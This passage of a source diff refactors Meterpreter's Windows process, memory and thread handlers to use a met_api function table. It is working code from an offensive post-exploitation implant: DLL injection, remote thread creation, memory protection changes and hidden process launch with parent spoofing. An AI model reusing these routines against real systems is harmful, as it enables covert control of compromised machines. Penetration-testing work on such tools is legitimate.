TLV_TYPE_LENGTH, (DWORD)info.RegionSize); - packet_add_tlv_uint(response, TLV_TYPE_MEMORY_STATE, (DWORD)info.State); - packet_add_tlv_uint(response, TLV_TYPE_PROTECTION, info.Protect); - packet_add_tlv_uint(response, TLV_TYPE_MEMORY_TYPE, info.Type); + met_api->packet.add_tlv_qword(response, TLV_TYPE_BASE_ADDRESS, (QWORD)info.BaseAddress); + met_api->packet.add_tlv_qword(response, TLV_TYPE_ALLOC_BASE_ADDRESS, (QWORD)info.AllocationBase); + met_api->packet.add_tlv_uint(response, TLV_TYPE_ALLOC_PROTECTION, info.AllocationProtect); + met_api->packet.add_tlv_uint(response, TLV_TYPE_LENGTH, (DWORD)info.RegionSize); + met_api->packet.add_tlv_uint(response, TLV_TYPE_MEMORY_STATE, (DWORD)info.State); + met_api->packet.add_tlv_uint(response, TLV_TYPE_PROTECTION, info.Protect); + met_api->packet.add_tlv_uint(response, TLV_TYPE_MEMORY_TYPE, info.Type); } while (0); // Transmit the response - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } @@ -249,17 +250,17 @@ DWORD request_sys_process_memory_query(Remote *remote, Packet *packet) */ DWORD request_sys_process_memory_protect(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); HANDLE handle; LPVOID base; SIZE_T size; DWORD prot, old; DWORD result = ERROR_SUCCESS; - handle = (HANDLE)packet_get_tlv_value_qword(packet, TLV_TYPE_HANDLE); - base = (LPVOID)packet_get_tlv_value_qword(packet, TLV_TYPE_BASE_ADDRESS); - size = packet_get_tlv_value_uint(packet, TLV_TYPE_LENGTH); - prot = packet_get_tlv_value_uint(packet, TLV_TYPE_PROTECTION); + handle = (HANDLE)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_HANDLE); + base = (LPVOID)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_BASE_ADDRESS); + size = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_LENGTH); + prot = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_PROTECTION); do { @@ -280,12 +281,12 @@ DWORD request_sys_process_memory_protect(Remote *remote, Packet *packet) } // Return the old protection mask to the requestor - packet_add_tlv_uint(response, TLV_TYPE_PROTECTION, old); + met_api->packet.add_tlv_uint(response, TLV_TYPE_PROTECTION, old); } while (0); // Transmit the response - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } @@ -299,19 +300,19 @@ DWORD request_sys_process_memory_protect(Remote *remote, Packet *packet) */ DWORD request_sys_process_memory_lock(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); LPVOID base; SIZE_T size; DWORD result = ERROR_SUCCESS; - base = (LPVOID)packet_get_tlv_value_qword(packet, TLV_TYPE_BASE_ADDRESS); - size = packet_get_tlv_value_uint(packet, TLV_TYPE_LENGTH); + base = (LPVOID)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_BASE_ADDRESS); + size = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_LENGTH); if (!VirtualLock(base, size)) result = GetLastError(); // Transmit the response - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } @@ -324,19 +325,19 @@ DWORD request_sys_process_memory_lock(Remote *remote, Packet *packet) */ DWORD request_sys_process_memory_unlock(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); LPVOID base; SIZE_T size; DWORD result = ERROR_SUCCESS; - base = (LPVOID)packet_get_tlv_value_qword(packet, TLV_TYPE_BASE_ADDRESS); - size = packet_get_tlv_value_uint(packet, TLV_TYPE_LENGTH); + base = (LPVOID)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_BASE_ADDRESS); + size = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_LENGTH); if (!VirtualUnlock(base, size)) result = GetLastError(); // Transmit the response - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } diff --git a/c/meterpreter/source/extensions/stdapi/server/sys/process/process.c b/c/meterpreter/source/extensions/stdapi/server/sys/process/process.c index 6a4ddd8c..056f9aac 100644 --- a/c/meterpreter/source/extensions/stdapi/server/sys/process/process.c +++ b/c/meterpreter/source/extensions/stdapi/server/sys/process/process.c @@ -1,4 +1,5 @@ #include "precomp.h" +#include "common_metapi.h" #include "ps.h" // include the code for listing proceses #include "./../session.h" @@ -41,13 +42,13 @@ const int PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000; */ DWORD request_sys_process_attach(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); HANDLE handle = NULL; DWORD result = ERROR_SUCCESS; DWORD pid; // Get the process identifier that we're attaching to, if any. - pid = packet_get_tlv_value_uint(packet, TLV_TYPE_PID); + pid = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_PID); dprintf("[attach]: pid %d", pid); // No pid? Use current. if (!pid) @@ -55,8 +56,8 @@ DWORD request_sys_process_attach(Remote *remote, Packet *packet) // Otherwise, attach. else { - BOOLEAN inherit = packet_get_tlv_value_bool(packet, TLV_TYPE_INHERIT); - DWORD permission = packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_PERMS); + BOOLEAN inherit = met_api->packet.get_tlv_value_bool(packet, TLV_TYPE_INHERIT); + DWORD permission = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_PROCESS_PERMS); handle = OpenProcess(permission, inherit, pid); dprintf("[attach] OpenProcess: opened process %d with permission %d: 0x%p [%d]\n", pid, permission, handle, GetLastError()); @@ -64,12 +65,12 @@ DWORD request_sys_process_attach(Remote *remote, Packet *packet) // If we have a handle, add it to the response if (handle) - packet_add_tlv_qword(response, TLV_TYPE_HANDLE, (QWORD)handle); + met_api->packet.add_tlv_qword(response, TLV_TYPE_HANDLE, (QWORD)handle); else result = GetLastError(); // Send the response packet to the requestor - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } @@ -81,10 +82,10 @@ DWORD request_sys_process_attach(Remote *remote, Packet *packet) */ DWORD request_sys_process_close(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); HANDLE handle; DWORD result = ERROR_SUCCESS; - handle = (HANDLE)packet_get_tlv_value_qword(packet, TLV_TYPE_HANDLE); + handle = (HANDLE)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_HANDLE); if (handle) @@ -96,7 +97,7 @@ DWORD request_sys_process_close(Remote *remote, Packet *packet) result = ERROR_INVALID_PARAMETER; // Send the response packet to the requestor - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } @@ -111,7 +112,7 @@ DWORD request_sys_process_close(Remote *remote, Packet *packet) */ DWORD request_sys_process_execute(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); DWORD result = ERROR_SUCCESS; Tlv inMemoryData; BOOL doInMemory = FALSE; @@ -154,12 +155,12 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet) } // Get the execution arguments - arguments = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_ARGUMENTS); - path = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_PATH); - flags = packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_FLAGS); - ppid = packet_get_tlv_value_uint(packet, TLV_TYPE_PARENT_PID); + arguments = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_PROCESS_ARGUMENTS); + path = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_PROCESS_PATH); + flags = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_PROCESS_FLAGS); + ppid = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_PARENT_PID); - if (packet_get_tlv(packet, TLV_TYPE_VALUE_DATA, &inMemoryData) == ERROR_SUCCESS) + if (met_api->packet.get_tlv(packet, TLV_TYPE_VALUE_DATA, &inMemoryData) == ERROR_SUCCESS) { doInMemory = TRUE; createFlags |= CREATE_SUSPENDED; @@ -175,11 +176,11 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet) memset(cpDesktop, 0, 512); - lock_acquire(remote->lock); + met_api->lock.acquire(remote->lock); _snprintf(cpDesktop, 512, "%s\\%s", remote->curr_station_name, remote->curr_desktop_name); - lock_release(remote->lock); + met_api->lock.release(remote->lock); si.StartupInfo.lpDesktop = cpDesktop; @@ -236,19 +237,19 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet) chops.read = process_channel_read; // Allocate the pool channel - if (!(newChannel = channel_create_pool(0, CHANNEL_FLAG_SYNCHRONOUS, &chops))) + if (!(newChannel = met_api->channel.create_pool(0, CHANNEL_FLAG_SYNCHRONOUS, &chops))) { result = ERROR_NOT_ENOUGH_MEMORY; break; } // Set the channel's type to process - channel_set_type(newChannel, "process"); + met_api->channel.set_type(newChannel, "process"); // Allocate the stdin and stdout pipes if ((!CreatePipe(&in[0], &in[1], &sa, 0)) || (!CreatePipe(&out[0], &out[1], &sa, 0))) { - channel_destroy(newChannel, NULL); + met_api->channel.destroy(newChannel, NULL); newChannel = NULL; @@ -272,7 +273,7 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet) ctx->pStdout = out[0]; // Add the channel identifier to the response packet - packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(newChannel)); + met_api->packet.add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, met_api->channel.get_id(newChannel)); } // If the hidden flag is set, create the process hidden @@ -293,8 +294,8 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet) HMODULE hKernel32Lib = LoadLibrary("kernel32.dll"); INITIALIZEPROCTHREADATTRIBUTELIST InitializeProcThreadAttributeList = (INITIALIZEPROCTHREADATTRIBUTELIST)GetProcAddress(hKernel32Lib, "InitializeProcThreadAttributeList"); UPDATEPROCTHREADATTRIBUTE UpdateProcThreadAttribute = (UPDATEPROCTHREADATTRIBUTE)GetProcAddress(hKernel32Lib, "UpdateProcThreadAttribute"); - BOOLEAN inherit = packet_get_tlv_value_bool(packet, TLV_TYPE_INHERIT); - DWORD permission = packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_PERMS); + BOOLEAN inherit = met_api->packet.get_tlv_value_bool(packet, TLV_TYPE_INHERIT); + DWORD permission = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_PROCESS_PERMS); HANDLE handle = OpenProcess(permission, inherit, ppid); dprintf("[execute] OpenProcess: opened process %d with permission %d: 0x%p [%d]\n", ppid, permission, handle, GetLastError()); if ( @@ -476,7 +477,7 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet) // Note: wtsapi32!WTSQueryUserToken is not available on NT4 or 2000 so we dynamically resolve it. hWtsapi32 = LoadLibraryA("wtsapi32.dll"); - session = packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_SESSION); + session = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_PROCESS_SESSION); if (session_id(GetCurrentProcessId()) == session || !hWtsapi32) { @@ -574,9 +575,9 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet) } // Add the process identifier to the response packet - packet_add_tlv_uint(response, TLV_TYPE_PID, pi.dwProcessId); + met_api->packet.add_tlv_uint(response, TLV_TYPE_PID, pi.dwProcessId); - packet_add_tlv_qword(response, TLV_TYPE_PROCESS_HANDLE, (QWORD)pi.hProcess); + met_api->packet.add_tlv_qword(response, TLV_TYPE_PROCESS_HANDLE, (QWORD)pi.hProcess); CloseHandle(pi.hThread); } @@ -609,7 +610,7 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet) free(si.lpAttributeList); } - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } @@ -621,12 +622,12 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet) */ DWORD request_sys_process_kill(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); DWORD result = ERROR_SUCCESS; Tlv pidTlv; DWORD index = 0; - while ((packet_enum_tlv(packet, index++, TLV_TYPE_PID, + while ((met_api->packet.enum_tlv(packet, index++, TLV_TYPE_PID, &pidTlv) == ERROR_SUCCESS) && (pidTlv.header.length >= sizeof(DWORD))) { @@ -647,7 +648,7 @@ DWORD request_sys_process_kill(Remote *remote, Packet *packet) } // Transmit the response - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } @@ -665,7 +666,7 @@ DWORD request_sys_process_get_processes( Remote * remote, Packet * packet ) do { - response = packet_create_response( packet ); + response = met_api->packet.create_response( packet ); if( !response ) break; @@ -698,7 +699,7 @@ DWORD request_sys_process_get_processes( Remote * remote, Packet * packet ) } } - packet_transmit_response( result, remote, response ); + met_api->packet.transmit_response( result, remote, response ); } while( 0 ); @@ -710,11 +711,11 @@ DWORD request_sys_process_get_processes( Remote * remote, Packet * packet ) */ DWORD request_sys_process_getpid(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); - packet_add_tlv_uint(response, TLV_TYPE_PID, GetCurrentProcessId()); + met_api->packet.add_tlv_uint(response, TLV_TYPE_PID, GetCurrentProcessId()); - packet_transmit_response(ERROR_SUCCESS, remote, response); + met_api->packet.transmit_response(ERROR_SUCCESS, remote, response); return ERROR_SUCCESS; } @@ -726,7 +727,7 @@ DWORD request_sys_process_getpid(Remote *remote, Packet *packet) */ DWORD request_sys_process_get_info(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); BOOL (WINAPI *enumProcessModules)(HANDLE p, HMODULE *mod, DWORD cb, @@ -743,7 +744,7 @@ DWORD request_sys_process_get_info(Remote *remote, Packet *packet) DWORD needed; wchar_t path[1024], name[512]; - handle = (HANDLE)packet_get_tlv_value_qword(packet, TLV_TYPE_HANDLE); + handle = (HANDLE)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_HANDLE); do { @@ -795,13 +796,13 @@ DWORD request_sys_process_get_info(Remote *remote, Packet *packet) getModuleFileNameEx(handle, mod, path, sizeof(path) - 1); // Set the process' information on the response - packet_add_tlv_string(response, TLV_TYPE_PROCESS_NAME, wchar_to_utf8(name)); - packet_add_tlv_string(response, TLV_TYPE_PROCESS_PATH, wchar_to_utf8(path)); + met_api->packet.add_tlv_string(response, TLV_TYPE_PROCESS_NAME, met_api->string.wchar_to_utf8(name)); + met_api->packet.add_tlv_string(response, TLV_TYPE_PROCESS_PATH, met_api->string.wchar_to_utf8(path)); } while (0); // Transmit the response - packet_transmit_response(ERROR_SUCCESS, remote, response); + met_api->packet.transmit_response(ERROR_SUCCESS, remote, response); // Close the psapi library and clean up if (psapi) @@ -873,7 +874,7 @@ DWORD process_channel_close( Channel *channel, Packet *request, LPVOID context ) } if ( ctx->pProcess != NULL ) { dprintf( "[PROCESS] channel has an attached process, closing via scheduler signal. channel=0x%08X, ctx=0x%08X", channel, ctx ); - scheduler_signal_waitable( ctx->pStdout, Stop ); + met_api->scheduler.signal_waitable( ctx->pStdout, SchedulerStop ); } else { CloseHandle( ctx->pStdin ); CloseHandle( ctx->pStdout ); @@ -905,7 +906,7 @@ DWORD process_channel_interact_destroy( HANDLE waitable, LPVOID entryContext, LP } free( ctx ); - if (channel_exists(channel)) + if (met_api->channel.exists(channel)) { channel->ops.pool.native.context = NULL; } @@ -925,7 +926,7 @@ DWORD process_channel_interact_notify(Remote *remote, LPVOID entryContext, LPVOI CHAR buffer[16384]; DWORD result = ERROR_SUCCESS; - if (!channel_exists(channel) || ctx == NULL) + if (!met_api->channel.exists(channel) || ctx == NULL) { return result; } @@ -935,7 +936,7 @@ DWORD process_channel_interact_notify(Remote *remote, LPVOID entryContext, LPVOI { if( ReadFile( ctx->pStdout, buffer, sizeof(buffer) - 1, &bytesRead, NULL ) ) { - return channel_write( channel, remote, NULL, 0, buffer, bytesRead, NULL ); + return met_api->channel.write( channel, remote, NULL, 0, buffer, bytesRead, NULL ); } result = GetLastError(); } @@ -955,7 +956,7 @@ DWORD process_channel_interact_notify(Remote *remote, LPVOID entryContext, LPVOI { dprintf("Closing down socket: result: %d\n", result); process_channel_close( channel, NULL, ctx ); - channel_close( channel, remote, NULL, 0, NULL ); + met_api->channel.close( channel, remote, NULL, 0, NULL ); } return result; @@ -971,7 +972,7 @@ DWORD process_channel_interact(Channel *channel, Packet *request, LPVOID context dprintf( "[PROCESS] process_channel_interact. channel=0x%08X, ctx=0x%08X, interact=%d", channel, ctx, interact ); - if (!channel_exists(channel) || ctx == NULL) + if (!met_api->channel.exists(channel) || ctx == NULL) { return result; } @@ -979,13 +980,13 @@ DWORD process_channel_interact(Channel *channel, Packet *request, LPVOID context // as a waitable item if (interact) { // try to resume it first, if it's not there, we can create a new entry - if( (result = scheduler_signal_waitable( ctx->pStdout, Resume )) == ERROR_NOT_FOUND ) { - result = scheduler_insert_waitable( ctx->pStdout, channel, context, + if( (result = met_api->scheduler.signal_waitable( ctx->pStdout, SchedulerResume )) == ERROR_NOT_FOUND ) { + result = met_api->scheduler.insert_waitable( ctx->pStdout, channel, context, (WaitableNotifyRoutine)process_channel_interact_notify, (WaitableDestroyRoutine)process_channel_interact_destroy ); } } else { // Otherwise, pause it - result = scheduler_signal_waitable( ctx->pStdout, Pause ); + result = met_api->scheduler.signal_waitable( ctx->pStdout, SchedulerPause ); } return result; } @@ -997,11 +998,11 @@ DWORD process_channel_interact(Channel *channel, Packet *request, LPVOID context */ DWORD request_sys_process_wait(Remote *remote, Packet *packet) { - Packet * response = packet_create_response( packet ); + Packet * response = met_api->packet.create_response( packet ); HANDLE handle = NULL; DWORD result = ERROR_INVALID_PARAMETER; - handle = (HANDLE)packet_get_tlv_value_qword( packet, TLV_TYPE_HANDLE ); + handle = (HANDLE)met_api->packet.get_tlv_value_qword( packet, TLV_TYPE_HANDLE ); if( handle ) { @@ -1009,7 +1010,7 @@ DWORD request_sys_process_wait(Remote *remote, Packet *packet) result = ERROR_SUCCESS; } - packet_transmit_response( result, remote, response ); + met_api->packet.transmit_response( result, remote, response ); return result; } diff --git a/c/meterpreter/source/extensions/stdapi/server/sys/process/ps.c b/c/meterpreter/source/extensions/stdapi/server/sys/process/ps.c index f2a00686..e4cd5f72 100644 --- a/c/meterpreter/source/extensions/stdapi/server/sys/process/ps.c +++ b/c/meterpreter/source/extensions/stdapi/server/sys/process/ps.c @@ -1,8 +1,9 @@ #include "precomp.h" +#include "common_metapi.h" #include "ps.h" +#include #include "./../session.h" -#include "./../../../../../common/arch/win/i386/base_inject.h" /* * Get the arch type (either x86 or x64) for a given PE (either PE32 or PE64) DLL image. @@ -70,7 +71,7 @@ DWORD ps_inject( DWORD dwPid, DLL_BUFFER * pDllBuffer, char * cpCommandLine ) if( dwDllArch != dwPidArch ) BREAK_WITH_ERROR( "[PS] ps_inject_dll. pid/dll architecture mixup", ERROR_BAD_ENVIRONMENT ); - dwResult = inject_dll( dwPid, lpDllBuffer, dwDllLenght, cpCommandLine ); + dwResult = met_api->inject.dll( dwPid, lpDllBuffer, dwDllLenght, cpCommandLine ); } while( 0 ); @@ -596,20 +597,20 @@ VOID ps_addresult(Packet * response, DWORD dwPid, DWORD dwParentPid, wchar_t * w if( !wcpExeName ) wcpExeName = L""; entries[1].header.type = TLV_TYPE_PROCESS_NAME; - entries[1].header.length = (DWORD)strlen(wchar_to_utf8(wcpExeName)) + 1; - entries[1].buffer = wchar_to_utf8(wcpExeName); + entries[1].header.length = (DWORD)strlen(met_api->string.wchar_to_utf8(wcpExeName)) + 1; + entries[1].buffer = met_api->string.wchar_to_utf8(wcpExeName); if( !wcpExePath ) wcpExePath = L""; entries[2].header.type = TLV_TYPE_PROCESS_PATH; - entries[2].header.length = (DWORD)strlen(wchar_to_utf8(wcpExePath)) + 1; - entries[2].buffer = wchar_to_utf8(wcpExePath); + entries[2].header.length = (DWORD)strlen(met_api->string.wchar_to_utf8(wcpExePath)) + 1; + entries[2].buffer = met_api->string.wchar_to_utf8(wcpExePath); if( !wcpUserName ) wcpUserName = L""; entries[3].header.type = TLV_TYPE_USER_NAME; - entries[3].header.length = (DWORD)strlen(wchar_to_utf8(wcpUserName)) + 1; - entries[3].buffer = wchar_to_utf8(wcpUserName); + entries[3].header.length = (DWORD)strlen(met_api->string.wchar_to_utf8(wcpUserName)) + 1; + entries[3].buffer = met_api->string.wchar_to_utf8(wcpUserName); dwProcessArch = htonl( dwProcessArch ); entries[4].header.type = TLV_TYPE_PROCESS_ARCH; @@ -626,7 +627,7 @@ VOID ps_addresult(Packet * response, DWORD dwPid, DWORD dwParentPid, wchar_t * w entries[6].header.length = sizeof( DWORD ); entries[6].buffer = (PUCHAR)&dwSessionId; - packet_add_tlv_group( response, TLV_TYPE_PROCESS_GROUP, entries, 7 ); + met_api->packet.add_tlv_group( response, TLV_TYPE_PROCESS_GROUP, entries, 7 ); } while(0); } diff --git a/c/meterpreter/source/extensions/stdapi/server/sys/process/thread.c b/c/meterpreter/source/extensions/stdapi/server/sys/process/thread.c index 22ecee1c..93dd666c 100644 --- a/c/meterpreter/source/extensions/stdapi/server/sys/process/thread.c +++ b/c/meterpreter/source/extensions/stdapi/server/sys/process/thread.c @@ -1,6 +1,5 @@ #include "precomp.h" -#include "../../../../../common/arch/win/remote_thread.h" -#include "../../../../../common/arch/win/i386/base_inject.h" +#include "common_metapi.h" ULONG get_thread_register_value(LPCONTEXT context, LPCSTR name, DWORD size); VOID set_thread_register_value(LPCONTEXT, LPCSTR name, ULONG value); @@ -37,15 +36,15 @@ BOOL IsWow64Process(HANDLE hProcess) */ DWORD request_sys_process_thread_open(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); HANDLE handle = NULL; DWORD result = ERROR_SUCCESS; DWORD threadId; DWORD perms; // Get the parameters - threadId = packet_get_tlv_value_uint(packet, TLV_TYPE_THREAD_ID); - perms = packet_get_tlv_value_uint(packet, TLV_TYPE_THREAD_PERMS); + threadId = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_THREAD_ID); + perms = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_THREAD_PERMS); do { @@ -64,11 +63,11 @@ DWORD request_sys_process_thread_open(Remote *remote, Packet *packet) } // Add the handle to the response packet - packet_add_tlv_qword(response, TLV_TYPE_THREAD_HANDLE, (QWORD)handle); + met_api->packet.add_tlv_qword(response, TLV_TYPE_THREAD_HANDLE, (QWORD)handle); } while (0); - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } @@ -86,7 +85,7 @@ DWORD request_sys_process_thread_open(Remote *remote, Packet *packet) */ DWORD request_sys_process_thread_create(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); HANDLE hProcess, hThread = NULL; LPVOID lpEntryPoint; LPVOID lpEntryParam; @@ -95,10 +94,10 @@ DWORD request_sys_process_thread_create(Remote *remote, Packet *packet) DWORD dwThreadId; // Snag the parameters - hProcess = (HANDLE)packet_get_tlv_value_qword(packet, TLV_TYPE_PROCESS_HANDLE); - lpEntryPoint = (LPVOID)packet_get_tlv_value_qword(packet, TLV_TYPE_ENTRY_POINT); - lpEntryParam = (LPVOID)packet_get_tlv_value_qword(packet, TLV_TYPE_ENTRY_PARAMETER); - dwCreateFlags = packet_get_tlv_value_uint(packet, TLV_TYPE_CREATION_FLAGS); + hProcess = (HANDLE)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_PROCESS_HANDLE); + lpEntryPoint = (LPVOID)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_ENTRY_POINT); + lpEntryParam = (LPVOID)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_ENTRY_PARAMETER); + dwCreateFlags = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_CREATION_FLAGS); do { @@ -112,7 +111,7 @@ DWORD request_sys_process_thread_create(Remote *remote, Packet *packet) dprintf("[THREAD CREATE] CreateFlags: %x", dwCreateFlags); // Create the thread in the process supplied - if (!(hThread = create_remote_thread(hProcess, 0, lpEntryPoint, lpEntryParam, dwCreateFlags, &dwThreadId))) + if (!(hThread = met_api->thread.create_remote(hProcess, 0, lpEntryPoint, lpEntryParam, dwCreateFlags, &dwThreadId))) { dprintf("[THREAD CREATE] Failed to create remote thread"); dwResult = GetLastError(); @@ -125,7 +124,7 @@ DWORD request_sys_process_thread_create(Remote *remote, Packet *packet) dprintf("[THREAD CREATE] Target is x64, attempting wow64 injection"); // looking good, let's see if we can do the wow64 injection. - dwResult = inject_via_remotethread_wow64(hProcess, lpEntryPoint, lpEntryParam, &hThread); + dwResult = met_api->inject.via_remotethread_wow64(hProcess, lpEntryPoint, lpEntryParam, &hThread); if (dwResult != ERROR_SUCCESS) { dprintf("[THREAD CREATE] Wow64 injection failed: %u (%x)", dwResult, dwResult); @@ -148,12 +147,12 @@ DWORD request_sys_process_thread_create(Remote *remote, Packet *packet) dprintf("[THREAD CREATE] Thread creation succeeded"); // Set the thread identifier and handle on the response - packet_add_tlv_uint(response, TLV_TYPE_THREAD_ID, dwThreadId); - packet_add_tlv_qword(response, TLV_TYPE_THREAD_HANDLE, (QWORD)hThread); + met_api->packet.add_tlv_uint(response, TLV_TYPE_THREAD_ID, dwThreadId); + met_api->packet.add_tlv_qword(response, TLV_TYPE_THREAD_HANDLE, (QWORD)hThread); } while (0); - packet_transmit_response(dwResult, remote, response); + met_api->packet.transmit_response(dwResult, remote, response); return ERROR_SUCCESS; } @@ -165,16 +164,16 @@ DWORD request_sys_process_thread_create(Remote *remote, Packet *packet) */ DWORD request_sys_process_thread_close(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); HANDLE thread; DWORD result = ERROR_SUCCESS; - if ((thread = (HANDLE)packet_get_tlv_value_qword(packet, TLV_TYPE_THREAD_HANDLE))) + if ((thread = (HANDLE)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_THREAD_HANDLE))) CloseHandle(thread); else result = ERROR_INVALID_PARAMETER; - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } @@ -187,13 +186,13 @@ DWORD request_sys_process_thread_close(Remote *remote, Packet *packet) */ DWORD request_sys_process_thread_get_threads(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); THREADENTRY32 entry; HANDLE th32 = NULL; DWORD result = ERROR_SUCCESS; DWORD processId; - processId = packet_get_tlv_value_uint(packet, TLV_TYPE_PID); + processId = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_PID); do { @@ -222,7 +221,7 @@ DWORD request_sys_process_thread_get_threads(Remote *remote, Packet *packet) if (entry.th32OwnerProcessID != processId) continue; - packet_add_tlv_uint(response, TLV_TYPE_THREAD_ID, entry.th32ThreadID); + met_api->packet.add_tlv_uint(response, TLV_TYPE_THREAD_ID, entry.th32ThreadID); } while (Thread32Next(th32, &entry)); } @@ -237,7 +236,7 @@ DWORD request_sys_process_thread_get_threads(Remote *remote, Packet *packet) } while (0); - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); // Cleanup if (th32) @@ -253,11 +252,11 @@ DWORD request_sys_process_thread_get_threads(Remote *remote, Packet *packet) */ DWORD request_sys_process_thread_suspend(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); HANDLE thread; DWORD result = ERROR_SUCCESS; - if ((thread = (HANDLE)packet_get_tlv_value_qword(packet, TLV_TYPE_THREAD_HANDLE))) + if ((thread = (HANDLE)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_THREAD_HANDLE))) { if (SuspendThread(thread) == (DWORD)-1) result = GetLastError(); @@ -265,7 +264,7 @@ DWORD request_sys_process_thread_suspend(Remote *remote, Packet *packet) else result = ERROR_INVALID_PARAMETER; - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } @@ -277,11 +276,11 @@ DWORD request_sys_process_thread_suspend(Remote *remote, Packet *packet) */ DWORD request_sys_process_thread_resume(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); HANDLE thread; DWORD result = ERROR_SUCCESS; - if ((thread = (HANDLE)packet_get_tlv_value_qword(packet, TLV_TYPE_THREAD_HANDLE))) + if ((thread = (HANDLE)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_THREAD_HANDLE))) { if (ResumeThread(thread) == (DWORD)-1) result = GetLastError(); @@ -289,7 +288,7 @@ DWORD request_sys_process_thread_resume(Remote *remote, Packet *packet) else result = ERROR_INVALID_PARAMETER; - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } @@ -302,14 +301,14 @@ DWORD request_sys_process_thread_resume(Remote *remote, Packet *packet) */ DWORD request_sys_process_thread_terminate(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); HANDLE thread; DWORD result = ERROR_SUCCESS; DWORD code; - if ((thread = (HANDLE)packet_get_tlv_value_qword(packet, TLV_TYPE_THREAD_HANDLE))) + if ((thread = (HANDLE)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_THREAD_HANDLE))) { - code = packet_get_tlv_value_uint(packet, 